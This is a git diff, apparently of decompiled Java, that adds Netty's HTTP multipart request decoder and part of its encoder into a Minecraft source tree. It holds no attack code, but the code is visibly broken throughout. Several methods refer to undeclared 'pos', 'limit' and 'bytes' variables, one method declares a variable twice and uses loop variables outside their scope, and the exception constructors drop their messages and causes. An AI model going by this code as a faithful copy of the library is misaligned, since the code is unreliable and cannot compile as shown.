+        return decodeMultipart(MultiPartStatus.FILEUPLOAD);
+      }
+      
+      currentStatus = MultiPartStatus.FIELD;
+      
+      return decodeMultipart(MultiPartStatus.FIELD);
+    }
+    
+    if (filenameAttribute != null)
+    {
+      currentStatus = MultiPartStatus.MIXEDFILEUPLOAD;
+      
+      return decodeMultipart(MultiPartStatus.MIXEDFILEUPLOAD);
+    }
+    
+    throw new ErrorDataDecoderException("Filename not found");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected InterfaceHttpData getFileUpload(String delimiter)
+    throws HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    Attribute encoding = (Attribute)currentFieldAttributes.get("Content-Transfer-Encoding");
+    Charset localCharset = charset;
+    
+    HttpPostBodyUtil.TransferEncodingMechanism mechanism = HttpPostBodyUtil.TransferEncodingMechanism.BIT7;
+    if (encoding != null) {
+      String code;
+      try {
+        code = encoding.getValue().toLowerCase();
+      } catch (IOException e) {
+        throw new ErrorDataDecoderException(e);
+      }
+      if (code.equals(HttpPostBodyUtil.TransferEncodingMechanism.BIT7.value())) {
+        localCharset = HttpPostBodyUtil.US_ASCII;
+      } else if (code.equals(HttpPostBodyUtil.TransferEncodingMechanism.BIT8.value())) {
+        localCharset = HttpPostBodyUtil.ISO_8859_1;
+        mechanism = HttpPostBodyUtil.TransferEncodingMechanism.BIT8;
+      } else if (code.equals(HttpPostBodyUtil.TransferEncodingMechanism.BINARY.value()))
+      {
+        mechanism = HttpPostBodyUtil.TransferEncodingMechanism.BINARY;
+      } else {
+        throw new ErrorDataDecoderException("TransferEncoding Unknown: " + code);
+      }
+    }
+    Attribute charsetAttribute = (Attribute)currentFieldAttributes.get("charset");
+    if (charsetAttribute != null) {
+      try {
+        localCharset = Charset.forName(charsetAttribute.getValue());
+      } catch (IOException e) {
+        throw new ErrorDataDecoderException(e);
+      }
+    }
+    if (currentFileUpload == null) {
+      Attribute filenameAttribute = (Attribute)currentFieldAttributes.get("filename");
+      Attribute nameAttribute = (Attribute)currentFieldAttributes.get("name");
+      Attribute contentTypeAttribute = (Attribute)currentFieldAttributes.get("Content-Type");
+      if (contentTypeAttribute == null) {
+        throw new ErrorDataDecoderException("Content-Type is absent but required");
+      }
+      Attribute lengthAttribute = (Attribute)currentFieldAttributes.get("Content-Length");
+      long size;
+      try {
+        size = lengthAttribute != null ? Long.parseLong(lengthAttribute.getValue()) : 0L;
+      } catch (IOException e) {
+        throw new ErrorDataDecoderException(e);
+      } catch (NumberFormatException e) {
+        size = 0L;
+      }
+      try {
+        currentFileUpload = factory.createFileUpload(request, cleanString(nameAttribute.getValue()), cleanString(filenameAttribute.getValue()), contentTypeAttribute.getValue(), mechanism.value(), localCharset, size);
+
+      }
+      catch (NullPointerException e)
+      {
+        throw new ErrorDataDecoderException(e);
+      } catch (IllegalArgumentException e) {
+        throw new ErrorDataDecoderException(e);
+      } catch (IOException e) {
+        throw new ErrorDataDecoderException(e);
+      }
+    }
+    try
+    {
+      readFileUploadByteMultipart(delimiter);
+
+    }
+    catch (NotEnoughDataDecoderException e)
+    {
+      return null;
+    }
+    if (currentFileUpload.isCompleted())
+    {
+      if (currentStatus == MultiPartStatus.FILEUPLOAD) {
+        currentStatus = MultiPartStatus.HEADERDELIMITER;
+        currentFieldAttributes = null;
+      } else {
+        currentStatus = MultiPartStatus.MIXEDDELIMITER;
+        cleanMixedAttributes();
+      }
+      FileUpload fileUpload = currentFileUpload;
+      currentFileUpload = null;
+      return fileUpload;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+  public void destroy()
+  {
+    checkDestroyed();
+    cleanFiles();
+    destroyed = true;
+    
+    if ((undecodedChunk != null) && (undecodedChunk.refCnt() > 0)) {
+      undecodedChunk.release();
+      undecodedChunk = null;
+    }
+    
+
+    for (int i = bodyListHttpDataRank; i < bodyListHttpData.size(); i++) {
+      ((InterfaceHttpData)bodyListHttpData.get(i)).release();
+    }
+  }
+  
+
+
+  public void cleanFiles()
+  {
+    checkDestroyed();
+    
+    factory.cleanRequestHttpDatas(request);
+  }
+  
+
+
+  public void removeHttpDataFromClean(InterfaceHttpData data)
+  {
+    checkDestroyed();
+    
+    factory.removeHttpDataFromClean(request, data);
+  }
+  
+
+
+
+  private void cleanMixedAttributes()
+  {
+    currentFieldAttributes.remove("charset");
+    currentFieldAttributes.remove("Content-Length");
+    currentFieldAttributes.remove("Content-Transfer-Encoding");
+    currentFieldAttributes.remove("Content-Type");
+    currentFieldAttributes.remove("filename");
+  }
+  
+
+
+
+
+
+
+  private String readLineStandard()
+    throws HttpPostRequestDecoder.NotEnoughDataDecoderException
+  {
+    int readerIndex = undecodedChunk.readerIndex();
+    try {
+      ByteBuf line = Unpooled.buffer(64);
+      
+      while (undecodedChunk.isReadable()) {
+        byte nextByte = undecodedChunk.readByte();
+        if (nextByte == 13)
+        {
+          nextByte = undecodedChunk.getByte(undecodedChunk.readerIndex());
+          if (nextByte == 10)
+          {
+            undecodedChunk.skipBytes(1);
+            return line.toString(charset);
+          }
+          
+          line.writeByte(13);
+        } else {
+          if (nextByte == 10) {
+            return line.toString(charset);
+          }
+          line.writeByte(nextByte);
+        }
+      }
+    } catch (IndexOutOfBoundsException e) {
+      undecodedChunk.readerIndex(readerIndex);
+      throw new NotEnoughDataDecoderException(e);
+    }
+    undecodedChunk.readerIndex(readerIndex);
+    throw new NotEnoughDataDecoderException();
+  }
+  
+
+
+
+  private String readLine()
+    throws HttpPostRequestDecoder.NotEnoughDataDecoderException
+  {
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    
+
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException e1) {
+      return readLineStandard();
+    }
+    int readerIndex = undecodedChunk.readerIndex();
+    try {
+      ByteBuf line = Unpooled.buffer(64);
+      
+      while (pos < limit) {
+        byte nextByte = bytes[(pos++)];
+        if (nextByte == 13) {
+          if (pos < limit) {
+            nextByte = bytes[(pos++)];
+            if (nextByte == 10) {
+              sao.setReadPosition(0);
+              return line.toString(charset);
+            }
+            
+            pos -= 1;
+            line.writeByte(13);
+          }
+          else {
+            line.writeByte(nextByte);
+          }
+        } else { if (nextByte == 10) {
+            sao.setReadPosition(0);
+            return line.toString(charset);
+          }
+          line.writeByte(nextByte);
+        }
+      }
+    } catch (IndexOutOfBoundsException e) {
+      undecodedChunk.readerIndex(readerIndex);
+      throw new NotEnoughDataDecoderException(e);
+    }
+    undecodedChunk.readerIndex(readerIndex);
+    throw new NotEnoughDataDecoderException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private String readDelimiterStandard(String delimiter)
+    throws HttpPostRequestDecoder.NotEnoughDataDecoderException
+  {
+    int readerIndex = undecodedChunk.readerIndex();
+    try {
+      StringBuilder sb = new StringBuilder(64);
+      int delimiterPos = 0;
+      int len = delimiter.length();
+      while ((undecodedChunk.isReadable()) && (delimiterPos < len)) {
+        byte nextByte = undecodedChunk.readByte();
+        if (nextByte == delimiter.charAt(delimiterPos)) {
+          delimiterPos++;
+          sb.append((char)nextByte);
+        }
+        else {
+          undecodedChunk.readerIndex(readerIndex);
+          throw new NotEnoughDataDecoderException();
+        }
+      }
+      
+      if (undecodedChunk.isReadable()) {
+        byte nextByte = undecodedChunk.readByte();
+        
+        if (nextByte == 13) {
+          nextByte = undecodedChunk.readByte();
+          if (nextByte == 10) {
+            return sb.toString();
+          }
+          
+
+          undecodedChunk.readerIndex(readerIndex);
+          throw new NotEnoughDataDecoderException();
+        }
+        if (nextByte == 10)
+          return sb.toString();
+        if (nextByte == 45) {
+          sb.append('-');
+          
+          nextByte = undecodedChunk.readByte();
+          if (nextByte == 45) {
+            sb.append('-');
+            
+            if (undecodedChunk.isReadable()) {
+              nextByte = undecodedChunk.readByte();
+              if (nextByte == 13) {
+                nextByte = undecodedChunk.readByte();
+                if (nextByte == 10) {
+                  return sb.toString();
+                }
+                
+
+                undecodedChunk.readerIndex(readerIndex);
+                throw new NotEnoughDataDecoderException();
+              }
+              if (nextByte == 10) {
+                return sb.toString();
+              }
+              
+
+
+              undecodedChunk.readerIndex(undecodedChunk.readerIndex() - 1);
+              return sb.toString();
+            }
+            
+
+
+
+
+            return sb.toString();
+          }
+        }
+      }
+    }
+    catch (IndexOutOfBoundsException e)
+    {
+      undecodedChunk.readerIndex(readerIndex);
+      throw new NotEnoughDataDecoderException(e);
+    }
+    undecodedChunk.readerIndex(readerIndex);
+    throw new NotEnoughDataDecoderException();
+  }
+  
+
+
+
+
+
+
+  private String readDelimiter(String delimiter)
+    throws HttpPostRequestDecoder.NotEnoughDataDecoderException
+  {
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    
+
+
+
+
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException e1) {
+      return readDelimiterStandard(delimiter);
+    }
+    int readerIndex = undecodedChunk.readerIndex();
+    int delimiterPos = 0;
+    int len = delimiter.length();
+    try {
+      StringBuilder sb = new StringBuilder(64);
+      
+      while ((pos < limit) && (delimiterPos < len)) {
+        byte nextByte = bytes[(pos++)];
+        if (nextByte == delimiter.charAt(delimiterPos)) {
+          delimiterPos++;
+          sb.append((char)nextByte);
+        }
+        else {
+          undecodedChunk.readerIndex(readerIndex);
+          throw new NotEnoughDataDecoderException();
+        }
+      }
+      
+      if (pos < limit) {
+        byte nextByte = bytes[(pos++)];
+        if (nextByte == 13)
+        {
+          if (pos < limit) {
+            nextByte = bytes[(pos++)];
+            if (nextByte == 10) {
+              sao.setReadPosition(0);
+              return sb.toString();
+            }
+            
+
+            undecodedChunk.readerIndex(readerIndex);
+            throw new NotEnoughDataDecoderException();
+          }
+          
+
+
+          undecodedChunk.readerIndex(readerIndex);
+          throw new NotEnoughDataDecoderException();
+        }
+        if (nextByte == 10)
+        {
+
+          sao.setReadPosition(0);
+          return sb.toString(); }
+        if (nextByte == 45) {
+          sb.append('-');
+          
+          if (pos < limit) {
+            nextByte = bytes[(pos++)];
+            if (nextByte == 45) {
+              sb.append('-');
+              
+              if (pos < limit) {
+                nextByte = bytes[(pos++)];
+                if (nextByte == 13) {
+                  if (pos < limit) {
+                    nextByte = bytes[(pos++)];
+                    if (nextByte == 10) {
+                      sao.setReadPosition(0);
+                      return sb.toString();
+                    }
+                    
+
+                    undecodedChunk.readerIndex(readerIndex);
+                    throw new NotEnoughDataDecoderException();
+                  }
+                  
+
+
+                  undecodedChunk.readerIndex(readerIndex);
+                  throw new NotEnoughDataDecoderException();
+                }
+                if (nextByte == 10) {
+                  sao.setReadPosition(0);
+                  return sb.toString();
+                }
+                
+
+
+
+                sao.setReadPosition(1);
+                return sb.toString();
+              }
+              
+
+
+
+
+              sao.setReadPosition(0);
+              return sb.toString();
+            }
+            
+          }
+        }
+      }
+    }
+    catch (IndexOutOfBoundsException e)
+    {
+      undecodedChunk.readerIndex(readerIndex);
+      throw new NotEnoughDataDecoderException(e);
+    }
+    undecodedChunk.readerIndex(readerIndex);
+    throw new NotEnoughDataDecoderException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void readFileUploadByteMultipartStandard(String delimiter)
+    throws HttpPostRequestDecoder.NotEnoughDataDecoderException, HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    int readerIndex = undecodedChunk.readerIndex();
+    
+    boolean newLine = true;
+    int index = 0;
+    int lastPosition = undecodedChunk.readerIndex();
+    boolean found = false;
+    while (undecodedChunk.isReadable()) {
+      byte nextByte = undecodedChunk.readByte();
+      if (newLine)
+      {
+        if (nextByte == delimiter.codePointAt(index)) {
+          index++;
+          if (delimiter.length() == index) {
+            found = true;
+            break;
+          }
+        }
+        else {
+          newLine = false;
+          index = 0;
+          
+          if (nextByte == 13) {
+            if (undecodedChunk.isReadable()) {
+              nextByte = undecodedChunk.readByte();
+              if (nextByte == 10) {
+                newLine = true;
+                index = 0;
+                lastPosition = undecodedChunk.readerIndex() - 2;
+              }
+              else {
+                lastPosition = undecodedChunk.readerIndex() - 1;
+                
+
+                undecodedChunk.readerIndex(lastPosition);
+              }
+            }
+          } else if (nextByte == 10) {
+            newLine = true;
+            index = 0;
+            lastPosition = undecodedChunk.readerIndex() - 1;
+          }
+          else {
+            lastPosition = undecodedChunk.readerIndex();
+          }
+          
+        }
+      }
+      else if (nextByte == 13) {
+        if (undecodedChunk.isReadable()) {
+          nextByte = undecodedChunk.readByte();
+          if (nextByte == 10) {
+            newLine = true;
+            index = 0;
+            lastPosition = undecodedChunk.readerIndex() - 2;
+          }
+          else {
+            lastPosition = undecodedChunk.readerIndex() - 1;
+            
+
+            undecodedChunk.readerIndex(lastPosition);
+          }
+        }
+      } else if (nextByte == 10) {
+        newLine = true;
+        index = 0;
+        lastPosition = undecodedChunk.readerIndex() - 1;
+      }
+      else {
+        lastPosition = undecodedChunk.readerIndex();
+      }
+    }
+    
+    ByteBuf buffer = undecodedChunk.copy(readerIndex, lastPosition - readerIndex);
+    if (found) {
+      try
+      {
+        currentFileUpload.addContent(buffer, true);
+        
+        undecodedChunk.readerIndex(lastPosition);
+      } catch (IOException e) {
+        throw new ErrorDataDecoderException(e);
+      }
+      
+    } else {
+      try
+      {
+        currentFileUpload.addContent(buffer, false);
+        
+        undecodedChunk.readerIndex(lastPosition);
+        throw new NotEnoughDataDecoderException();
+      } catch (IOException e) {
+        throw new ErrorDataDecoderException(e);
+      }
+    }
+  }
+  
+
+
+
+
+  private void readFileUploadByteMultipart(String delimiter)
+    throws HttpPostRequestDecoder.NotEnoughDataDecoderException, HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    
+
+
+
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException e1) {
+      readFileUploadByteMultipartStandard(delimiter);
+      return;
+    }
+    int readerIndex = undecodedChunk.readerIndex();
+    
+    boolean newLine = true;
+    int index = 0;
+    int lastrealpos = pos;
+    
+    boolean found = false;
+    
+    while (pos < limit) {
+      byte nextByte = bytes[(pos++)];
+      if (newLine)
+      {
+        if (nextByte == delimiter.codePointAt(index)) {
+          index++;
+          if (delimiter.length() == index) {
+            found = true;
+            break;
+          }
+        }
+        else {
+          newLine = false;
+          index = 0;
+          
+          if (nextByte == 13) {
+            if (pos < limit) {
+              nextByte = bytes[(pos++)];
+              if (nextByte == 10) {
+                newLine = true;
+                index = 0;
+                lastrealpos = pos - 2;
+              }
+              else {
+                pos -= 1;
+                
+
+                lastrealpos = pos;
+              }
+            }
+          } else if (nextByte == 10) {
+            newLine = true;
+            index = 0;
+            lastrealpos = pos - 1;
+          }
+          else {
+            lastrealpos = pos;
+          }
+          
+        }
+      }
+      else if (nextByte == 13) {
+        if (pos < limit) {
+          nextByte = bytes[(pos++)];
+          if (nextByte == 10) {
+            newLine = true;
+            index = 0;
+            lastrealpos = pos - 2;
+          }
+          else {
+            pos -= 1;
+            
+
+            lastrealpos = pos;
+          }
+        }
+      } else if (nextByte == 10) {
+        newLine = true;
+        index = 0;
+        lastrealpos = pos - 1;
+      }
+      else {
+        lastrealpos = pos;
+      }
+    }
+    
+    int lastPosition = sao.getReadPosition(lastrealpos);
+    ByteBuf buffer = undecodedChunk.copy(readerIndex, lastPosition - readerIndex);
+    if (found) {
+      try
+      {
+        currentFileUpload.addContent(buffer, true);
+        
+        undecodedChunk.readerIndex(lastPosition);
+      } catch (IOException e) {
+        throw new ErrorDataDecoderException(e);
+      }
+      
+    } else {
+      try
+      {
+        currentFileUpload.addContent(buffer, false);
+        
+        undecodedChunk.readerIndex(lastPosition);
+        throw new NotEnoughDataDecoderException();
+      } catch (IOException e) {
+        throw new ErrorDataDecoderException(e);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  private void loadFieldMultipartStandard(String delimiter)
+    throws HttpPostRequestDecoder.NotEnoughDataDecoderException, HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    int readerIndex = undecodedChunk.readerIndex();
+    try
+    {
+      boolean newLine = true;
+      int index = 0;
+      int lastPosition = undecodedChunk.readerIndex();
+      boolean found = false;
+      while (undecodedChunk.isReadable()) {
+        byte nextByte = undecodedChunk.readByte();
+        if (newLine)
+        {
+          if (nextByte == delimiter.codePointAt(index)) {
+            index++;
+            if (delimiter.length() == index) {
+              found = true;
+              break;
+            }
+          }
+          else {
+            newLine = false;
+            index = 0;
+            
+            if (nextByte == 13) {
+              if (undecodedChunk.isReadable()) {
+                nextByte = undecodedChunk.readByte();
+                if (nextByte == 10) {
+                  newLine = true;
+                  index = 0;
+                  lastPosition = undecodedChunk.readerIndex() - 2;
+                }
+                else {
+                  lastPosition = undecodedChunk.readerIndex() - 1;
+                  undecodedChunk.readerIndex(lastPosition);
+                }
+              } else {
+                lastPosition = undecodedChunk.readerIndex() - 1;
+              }
+            } else if (nextByte == 10) {
+              newLine = true;
+              index = 0;
+              lastPosition = undecodedChunk.readerIndex() - 1;
+            } else {
+              lastPosition = undecodedChunk.readerIndex();
+            }
+            
+          }
+        }
+        else if (nextByte == 13) {
+          if (undecodedChunk.isReadable()) {
+            nextByte = undecodedChunk.readByte();
+            if (nextByte == 10) {
+              newLine = true;
+              index = 0;
+              lastPosition = undecodedChunk.readerIndex() - 2;
+            }
+            else {
+              lastPosition = undecodedChunk.readerIndex() - 1;
+              undecodedChunk.readerIndex(lastPosition);
+            }
+          } else {
+            lastPosition = undecodedChunk.readerIndex() - 1;
+          }
+        } else if (nextByte == 10) {
+          newLine = true;
+          index = 0;
+          lastPosition = undecodedChunk.readerIndex() - 1;
+        } else {
+          lastPosition = undecodedChunk.readerIndex();
+        }
+      }
+      
+      if (found)
+      {
+
+        try
+        {
+
+          currentAttribute.addContent(undecodedChunk.copy(readerIndex, lastPosition - readerIndex), true);
+        }
+        catch (IOException e) {
+          throw new ErrorDataDecoderException(e);
+        }
+        undecodedChunk.readerIndex(lastPosition);
+      } else {
+        try {
+          currentAttribute.addContent(undecodedChunk.copy(readerIndex, lastPosition - readerIndex), false);
+        }
+        catch (IOException e) {
+          throw new ErrorDataDecoderException(e);
+        }
+        undecodedChunk.readerIndex(lastPosition);
+        throw new NotEnoughDataDecoderException();
+      }
+    } catch (IndexOutOfBoundsException e) {
+      undecodedChunk.readerIndex(readerIndex);
+      throw new NotEnoughDataDecoderException(e);
+    }
+  }
+  
+
+
+  private void loadFieldMultipart(String delimiter)
+    throws HttpPostRequestDecoder.NotEnoughDataDecoderException, HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    
+
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException e1) {
+      loadFieldMultipartStandard(delimiter);
+      return;
+    }
+    int readerIndex = undecodedChunk.readerIndex();
+    try
+    {
+      boolean newLine = true;
+      int index = 0;
+      
+      int lastrealpos = pos;
+      boolean found = false;
+      
+      while (pos < limit) {
+        byte nextByte = bytes[(pos++)];
+        if (newLine)
+        {
+          if (nextByte == delimiter.codePointAt(index)) {
+            index++;
+            if (delimiter.length() == index) {
+              found = true;
+              break;
+            }
+          }
+          else {
+            newLine = false;
+            index = 0;
+            
+            if (nextByte == 13) {
+              if (pos < limit) {
+                nextByte = bytes[(pos++)];
+                if (nextByte == 10) {
+                  newLine = true;
+                  index = 0;
+                  lastrealpos = pos - 2;
+                }
+                else {
+                  pos -= 1;
+                  lastrealpos = pos;
+                }
+              }
+            } else if (nextByte == 10) {
+              newLine = true;
+              index = 0;
+              lastrealpos = pos - 1;
+            } else {
+              lastrealpos = pos;
+            }
+            
+          }
+        }
+        else if (nextByte == 13) {
+          if (pos < limit) {
+            nextByte = bytes[(pos++)];
+            if (nextByte == 10) {
+              newLine = true;
+              index = 0;
+              lastrealpos = pos - 2;
+            }
+            else {
+              pos -= 1;
+              lastrealpos = pos;
+            }
+          }
+        } else if (nextByte == 10) {
+          newLine = true;
+          index = 0;
+          lastrealpos = pos - 1;
+        } else {
+          lastrealpos = pos;
+        }
+      }
+      
+      int lastPosition = sao.getReadPosition(lastrealpos);
+      if (found)
+      {
+
+        try
+        {
+
+          currentAttribute.addContent(undecodedChunk.copy(readerIndex, lastPosition - readerIndex), true);
+        }
+        catch (IOException e) {
+          throw new ErrorDataDecoderException(e);
+        }
+        undecodedChunk.readerIndex(lastPosition);
+      } else {
+        try {
+          currentAttribute.addContent(undecodedChunk.copy(readerIndex, lastPosition - readerIndex), false);
+        }
+        catch (IOException e) {
+          throw new ErrorDataDecoderException(e);
+        }
+        undecodedChunk.readerIndex(lastPosition);
+        throw new NotEnoughDataDecoderException();
+      }
+    } catch (IndexOutOfBoundsException e) {
+      undecodedChunk.readerIndex(readerIndex);
+      throw new NotEnoughDataDecoderException(e);
+    }
+  }
+  
+
+
+
+
+  private static String cleanString(String field)
+  {
+    StringBuilder sb = new StringBuilder(field.length());
+    for (int i = 0; i < field.length(); i++) {
+      char nextChar = field.charAt(i);
+      if (nextChar == ':') {
+        sb.append(32);
+      } else if (nextChar == ',') {
+        sb.append(32);
+      } else if (nextChar == '=') {
+        sb.append(32);
+      } else if (nextChar == ';') {
+        sb.append(32);
+      } else if (nextChar == '\t') {
+        sb.append(32);
+      } else if (nextChar != '"')
+      {
+
+        sb.append(nextChar);
+      }
+    }
+    return sb.toString().trim();
+  }
+  
+
+
+
+
+  private boolean skipOneLine()
+  {
+    if (!undecodedChunk.isReadable()) {
+      return false;
+    }
+    byte nextByte = undecodedChunk.readByte();
+    if (nextByte == 13) {
+      if (!undecodedChunk.isReadable()) {
+        undecodedChunk.readerIndex(undecodedChunk.readerIndex() - 1);
+        return false;
+      }
+      nextByte = undecodedChunk.readByte();
+      if (nextByte == 10) {
+        return true;
+      }
+      undecodedChunk.readerIndex(undecodedChunk.readerIndex() - 2);
+      return false;
+    }
+    if (nextByte == 10) {
+      return true;
+    }
+    undecodedChunk.readerIndex(undecodedChunk.readerIndex() - 1);
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  private static String[] splitHeaderContentType(String sb)
+  {
+    int aStart = HttpPostBodyUtil.findNonWhitespace(sb, 0);
+    int aEnd = sb.indexOf(';');
+    if (aEnd == -1) {
+      return new String[] { sb, "" };
+    }
+    if (sb.charAt(aEnd - 1) == ' ') {
+      aEnd--;
+    }
+    int bStart = HttpPostBodyUtil.findNonWhitespace(sb, aEnd + 1);
+    int bEnd = HttpPostBodyUtil.findEndOfString(sb);
+    return new String[] { sb.substring(aStart, aEnd), sb.substring(bStart, bEnd) };
+  }
+  
+
+
+
+
+
+  private static String[] splitMultipartHeader(String sb)
+  {
+    ArrayList<String> headers = new ArrayList(1);
+    
+
+
+
+
+    int nameStart = HttpPostBodyUtil.findNonWhitespace(sb, 0);
+    for (int nameEnd = nameStart; nameEnd < sb.length(); nameEnd++) {
+      char ch = sb.charAt(nameEnd);
+      if ((ch == ':') || (Character.isWhitespace(ch))) {
+        break;
+      }
+    }
+    for (int colonEnd = nameEnd; colonEnd < sb.length(); colonEnd++) {
+      if (sb.charAt(colonEnd) == ':') {
+        colonEnd++;
+        break;
+      }
+    }
+    int valueStart = HttpPostBodyUtil.findNonWhitespace(sb, colonEnd);
+    int valueEnd = HttpPostBodyUtil.findEndOfString(sb);
+    headers.add(sb.substring(nameStart, nameEnd));
+    String svalue = sb.substring(valueStart, valueEnd);
+    String[] values;
+    String[] values; if (svalue.indexOf(';') >= 0) {
+      values = StringUtil.split(svalue, ';');
+    } else {
+      values = StringUtil.split(svalue, ',');
+    }
+    for (String value : values) {
+      headers.add(value.trim());
+    }
+    String[] array = new String[headers.size()];
+    for (int i = 0; i < headers.size(); i++) {
+      array[i] = ((String)headers.get(i));
+    }
+    return array;
+  }
+  
+
+  public static class NotEnoughDataDecoderException
+    extends DecoderException
+  {
+    private static final long serialVersionUID = -7846841864603865638L;
+    
+
+    public NotEnoughDataDecoderException() {}
+    
+    public NotEnoughDataDecoderException(String msg)
+    {
+      super();
+    }
+    
+    public NotEnoughDataDecoderException(Throwable cause) {
+      super();
+    }
+    
+    public NotEnoughDataDecoderException(String msg, Throwable cause) {
+      super(cause);
+    }
+  }
+  
+  public static class EndOfDataDecoderException
+    extends DecoderException
+  {
+    private static final long serialVersionUID = 1336267941020800769L;
+    
+    public EndOfDataDecoderException() {}
+  }
+  
+  public static class ErrorDataDecoderException
+    extends DecoderException
+  {
+    private static final long serialVersionUID = 5020247425493164465L;
+    
+    public ErrorDataDecoderException() {}
+    
+    public ErrorDataDecoderException(String msg)
+    {
+      super();
+    }
+    
+    public ErrorDataDecoderException(Throwable cause) {
+      super();
+    }
+    
+    public ErrorDataDecoderException(String msg, Throwable cause) {
+      super(cause);
+    }
+  }
+  
+
+  public static class IncompatibleDataDecoderException
+    extends DecoderException
+  {
+    private static final long serialVersionUID = -953268047926250267L;
+    
+    public IncompatibleDataDecoderException() {}
+    
+    public IncompatibleDataDecoderException(String msg)
+    {
+      super();
+    }
+    
+    public IncompatibleDataDecoderException(Throwable cause) {
+      super();
+    }
+    
+    public IncompatibleDataDecoderException(String msg, Throwable cause) {
+      super(cause);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostRequestEncoder.java b/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostRequestEncoder.java
new file mode 100644
index 0000000..8f8ce93
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostRequestEncoder.java
@@ -0,0 +1,1232 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.http.DefaultFullHttpRequest;
+import io.netty.handler.codec.http.DefaultHttpContent;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.HttpConstants;
+import io.netty.handler.codec.http.HttpContent;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.handler.codec.http.LastHttpContent;
+import io.netty.handler.stream.ChunkedInput;
+import io.netty.util.internal.ThreadLocalRandom;
+import java.io.File;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.net.URLEncoder;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpPostRequestEncoder
+  implements ChunkedInput<HttpContent>
+{
+  public static enum EncoderMode
+  {
+    RFC1738, 
+    
+
+
+
+    RFC3986;
+    
+    private EncoderMode() {} }
+  private static final Map<Pattern, String> percentEncodings = new HashMap();
+  private final HttpDataFactory factory;
+  
+  static { percentEncodings.put(Pattern.compile("\\*"), "%2A");
+    percentEncodings.put(Pattern.compile("\\+"), "%20");
+    percentEncodings.put(Pattern.compile("%7E"), "~");
+  }
+  
+
+
+
+  private final HttpRequest request;
+  
+
+
+  private final Charset charset;
+  
+
+
+  private boolean isChunked;
+  
+
+  private final List<InterfaceHttpData> bodyListDatas;
+  
+
+  final List<InterfaceHttpData> multipartHttpDatas;
+  
+
+  private final boolean isMultipart;
+  
+
+  String multipartDataBoundary;
+  
+
+  String multipartMixedBoundary;
+  
+
+  private boolean headerFinalized;
+  
+
+  private final EncoderMode encoderMode;
+  
+
+  private boolean isLastChunk;
+  
+
+  private boolean isLastChunkSent;
+  
+
+  private FileUpload currentFileUpload;
+  
+
+  private boolean duringMixedMode;
+  
+
+  private long globalBodySize;
+  
+
+  private ListIterator<InterfaceHttpData> iterator;
+  
+
+  private ByteBuf currentBuffer;
+  
+
+  private InterfaceHttpData currentData;
+  
+
+  public HttpPostRequestEncoder(HttpRequest request, boolean multipart)
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    this(new DefaultHttpDataFactory(16384L), request, multipart, HttpConstants.DEFAULT_CHARSET, EncoderMode.RFC1738);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpPostRequestEncoder(HttpDataFactory factory, HttpRequest request, boolean multipart)
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    this(factory, request, multipart, HttpConstants.DEFAULT_CHARSET, EncoderMode.RFC1738);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpPostRequestEncoder(HttpDataFactory factory, HttpRequest request, boolean multipart, Charset charset, EncoderMode encoderMode)
+    throws HttpPostRequestEncoder.ErrorDataEncoderException
+  {
+    if (factory == null) {
+      throw new NullPointerException("factory");
+    }
+    if (request == null) {
+      throw new NullPointerException("request");
+    }
+    if (charset == null) {
+      throw new NullPointerException("charset");
+    }
+    if (request.getMethod() != HttpMethod.POST) {
+      throw new ErrorDataEncoderException("Cannot create a Encoder if not a POST");
+    }
+    this.request = request;
+    this.charset = charset;
+    this.factory = factory;
+    
+    bodyListDatas = new ArrayList();
+    
+    isLastChunk = false;
+    isLastChunkSent = false;
+    isMultipart = multipart;
+    multipartHttpDatas = new ArrayList();
+    this.encoderMode = encoderMode;
+    if (isMultipart) {
+      initDataMultipart();
+    }
+  }
+  
+
+
+  public void cleanFiles()
+  {
+    factory.cleanRequestHttpDatas(request);
+  }
+  
+
+
+
+
